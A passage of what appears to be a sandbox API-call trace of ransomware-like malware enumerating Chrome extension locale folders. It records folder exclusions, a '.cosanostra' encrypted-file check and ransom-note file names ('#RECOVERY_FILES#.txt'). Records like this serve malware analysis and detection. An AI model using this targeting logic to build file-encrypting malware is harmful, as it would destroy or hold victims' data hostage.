19 [0087.418] lstrcmpiW (lpString1="hu", lpString2="$Recycle.bin") returned 1 [0087.418] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.418] lstrcmpiW (lpString1="hu", lpString2="System Volume Information") returned -1 [0087.418] lstrlenW (lpString="System Volume Information") returned 25 [0087.418] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu") returned 150 [0087.418] lstrcmpW (lpString1="hu", lpString2=".") returned 1 [0087.418] lstrcmpW (lpString1="hu", lpString2="..") returned 1 [0087.418] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*") returned 152 [0087.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.419] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.419] lstrlenW (lpString="Windows") returned 7 [0087.419] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.419] lstrlenW (lpString="Program Files") returned 13 [0087.419] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.419] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.419] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.419] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.419] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\.") returned 152 [0087.419] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.419] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.419] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\..") returned 153 [0087.419] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.419] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.419] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.420] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json") returned 164 [0087.420] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.420] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.420] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.420] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json") returned 164 [0087.420] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\#RECOVERY_FILES#.txt") returned 171 [0087.420] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\#RECOVERY_FILES#.txt") returned 171 [0087.420] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id") returned 150 [0087.420] lstrcmpW (lpString1="id", lpString2=".") returned 1 [0087.420] lstrcmpW (lpString1="id", lpString2="..") returned 1 [0087.420] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*") returned 152 [0087.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.420] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\.") returned 152 [0087.421] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.421] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.421] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\..") returned 153 [0087.421] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.421] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.421] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.421] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json") returned 164 [0087.421] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.421] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.421] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.421] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json") returned 164 [0087.421] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\#RECOVERY_FILES#.txt") returned 171 [0087.421] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\#RECOVERY_FILES#.txt") returned 171 [0087.421] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it") returned 150 [0087.421] lstrcmpW (lpString1="it", lpString2=".") returned 1 [0087.421] lstrcmpW (lpString1="it", lpString2="..") returned 1 [0087.421] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*") returned 152 [0087.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.422] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\.") returned 152 [0087.422] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.422] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.422] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\..") returned 153 [0087.422] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.422] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.422] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.422] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json") returned 164 [0087.422] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.422] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.422] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.422] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json") returned 164 [0087.422] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\#RECOVERY_FILES#.txt") returned 171 [0087.422] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\#RECOVERY_FILES#.txt") returned 171 [0087.422] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw") returned 150 [0087.422] lstrcmpW (lpString1="iw", lpString2=".") returned 1 [0087.422] lstrcmpW (lpString1="iw", lpString2="..") returned 1 [0087.422] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*") returned 152 [0087.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.423] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\.") returned 152 [0087.423] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.423] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.423] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\..") returned 153 [0087.423] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.423] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.423] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.423] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json") returned 164 [0087.423] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.423] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.423] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.423] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json") returned 164 [0087.423] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\#RECOVERY_FILES#.txt") returned 171 [0087.423] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\#RECOVERY_FILES#.txt") returned 171 [0087.423] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja") returned 150 [0087.423] lstrcmpW (lpString1="ja", lpString2=".") returned 1 [0087.423] lstrcmpW (lpString1="ja", lpString2="..") returned 1 [0087.423] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*") returned 152 [0087.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.424] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\.") returned 152 [0087.424] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.424] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.424] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\..") returned 153 [0087.424] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.424] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.424] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.424] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json") returned 164 [0087.424] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.424] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.424] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.424] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json") returned 164 [0087.424] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\#RECOVERY_FILES#.txt") returned 171 [0087.424] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\#RECOVERY_FILES#.txt") returned 171 [0087.424] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn") returned 150 [0087.424] lstrcmpW (lpString1="kn", lpString2=".") returned 1 [0087.424] lstrcmpW (lpString1="kn", lpString2="..") returned 1 [0087.424] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*") returned 152 [0087.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.425] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\.") returned 152 [0087.425] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.425] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.425] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\..") returned 153 [0087.425] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.425] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.425] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.425] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json") returned 164 [0087.425] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.425] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.425] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.425] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json") returned 164 [0087.425] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\#RECOVERY_FILES#.txt") returned 171 [0087.425] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\#RECOVERY_FILES#.txt") returned 171 [0087.425] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko") returned 150 [0087.425] lstrcmpW (lpString1="ko", lpString2=".") returned 1 [0087.425] lstrcmpW (lpString1="ko", lpString2="..") returned 1 [0087.425] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*") returned 152 [0087.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.426] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\.") returned 152 [0087.426] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.426] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.426] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\..") returned 153 [0087.426] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.426] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.426] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.426] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json") returned 164 [0087.426] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.426] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.426] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.426] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json") returned 164 [0087.426] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\#RECOVERY_FILES#.txt") returned 171 [0087.426] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\#RECOVERY_FILES#.txt") returned 171 [0087.426] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 